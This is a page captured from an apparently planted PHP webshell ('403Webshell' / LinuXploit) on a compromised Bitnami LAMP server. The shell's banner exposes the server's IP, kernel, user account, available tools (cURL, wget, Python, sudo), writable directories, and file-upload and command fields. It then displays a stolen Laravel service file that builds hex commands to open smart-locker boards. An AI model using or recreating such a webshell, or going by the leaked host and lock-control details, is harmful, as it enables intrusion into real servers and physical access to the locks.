403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/app/Http/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/app/Http/Services/LockerBoardService.php
<?php
namespace App\Http\Services;

use App\Classes\LockerBoardCore;

class LockerBoardService extends LockerBoardCore
{
    const COMMAND_HEADER_OPEN = "8A";
    const COMMAND_HEADER_CHECK = "80";
    const COMMAND_HEADER_PASSIVE = "81";

    const QUERY_CODE_OPEN = "11";
    const QUERY_CODE_CHECK = "33";
    const QUERY_CODE_FEEDBACK = "00";

    const FEEDBACK_SUCCESS = "00";
    const FEEDBACK_ERROR = "11";

    const NO_WHITESPACE = "";
    const SINGLE_WHITESPACE = " ";

##########################  OPEN_LOCK REQUEST  ##############################

    // for api
    public function requestOpenAll()
    {
        return self::requestOpenLock('00');
    }

    // for api
    public function requestOpenLock($lockNum, $boardAddress = 1)
    {
        return [
            "command" => self::getOpenLockCommand($lockNum, $boardAddress),
            "openSuccessResponse" => self::getOpenSuccessResponseCode($lockNum, $boardAddress),
        ];
    }

    // compute commnad for android-box to open box
    public function getOpenLockCommand($lockNum, $boardAddress) : string
    {
        return self::computeCommand([
            self::COMMAND_HEADER_OPEN,
            self::getHexString($boardAddress),
            self::getHexString($lockNum),
            self::QUERY_CODE_OPEN
        ], self::SINGLE_WHITESPACE);
    }

    // compute commnad for android-box to cross-check 
    // (if not same , report to server ?? )
    public function getOpenSuccessResponseCode($lockNum, $boardAddress) : string
    {
        if($lockNum == "00"){
            // if is open all (to be verify for multiboard cases)
            return self::computeCommand([
                self::COMMAND_HEADER_OPEN,
                self::getHexString($boardAddress),
                "01",
                "00"
            ], self::SINGLE_WHITESPACE);
        }

        return self::computeCommand([
            self::COMMAND_HEADER_OPEN,
            self::getHexString($boardAddress),
            self::getHexString($lockNum),
            self::FEEDBACK_SUCCESS
        ], self::SINGLE_WHITESPACE);
    }

##########################  CHECK_STATUS REQUEST  ##############################

    // for api
    public function requestCheckLockStatus($lockNum, $boardAddress = 1)
    {
        //  self::getCheckLockStatusCommand($lockNum, $boardAddress);
    }


    public function getCheckLockStatusCommand($lockNum, $boardAddress) : string
    {
        return self::computeCommand([
            self::COMMAND_HEADER_CHECK,
            self::getHexString($boardAddress),
            self::getHexString($lockNum),
            self::QUERY_CODE_CHECK
        ], self::SINGLE_WHITESPACE);
    }

##########################  DECODE CHECK_STATUS RESPONSE  ##############################

    /*
        locker board's check-all feedback
        80 01 00  00 08 00  33 BA => 12
        80 01 00  08 00 00  33 BA => 20
        80 01 00  10 00 00  33 BA => 21
        80 01 00  80 00 00  33 BA => 24
        80 01 00  03 00 00  33 BA => 17,18
        80 01 00  00 00 FF  33 BA => 1-8
        80 01 00  07 FF 00  33 BA => 9-19
        80 01 00  FF FF FF  33 BA => 1-24

        possible usage : 
        $related_locks = self::decodeAllLockerStatus("80 01 00 FF FF FF 33 BA");
        $locks = Lock::whereIn('id', $related_locks )->get();
        // will get 1-24
    */
    public function decodeAllLockerStatus($feedback = "80 01 00 0A 00 10 33 BA") : array
    {
        $feedback = str_replace(' ', '', $feedback);

        $boardID = self::getCommandSection($feedback,2);

        $chuck3 = self::getCommandSection($feedback,4);
        $chuck2 = self::getCommandSection($feedback,5);
        $chuck1 = self::getCommandSection($feedback,6);

        $lockIDs = array_merge(
            self::readStatus($chuck1),
            self::readStatus($chuck2, 2),
            self::readStatus($chuck3, 3)
        );

        return $lockIDs;
    }

    public function decodeLockStatus()
    {
        
    }

##########################  DECODE PASSIVE RESPONSE  ##############################

    /* 
        81 01 18 11 98 - on door close
        81 01 18 00 98 - on open manually by human
    */
    // PASSIVE feedback from lock-board (physically)
    // (if header is 81 , android-box should call api ? )
    public function decodeFeedback($feedback, $lockNum)
    {
        $feedback = str_replace(' ', '', $feedback);

        /*
        if($feedback != self::getFeedback($lockNum)){
            // throw new Exception;
        }
        */
        
        $boardID = self::getCommandSection($feedback,2);
        $status = self::getCommandSection($feedback,4);

        if($status == FEEDBACK_ERROR){
            // 
        }

        // 
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit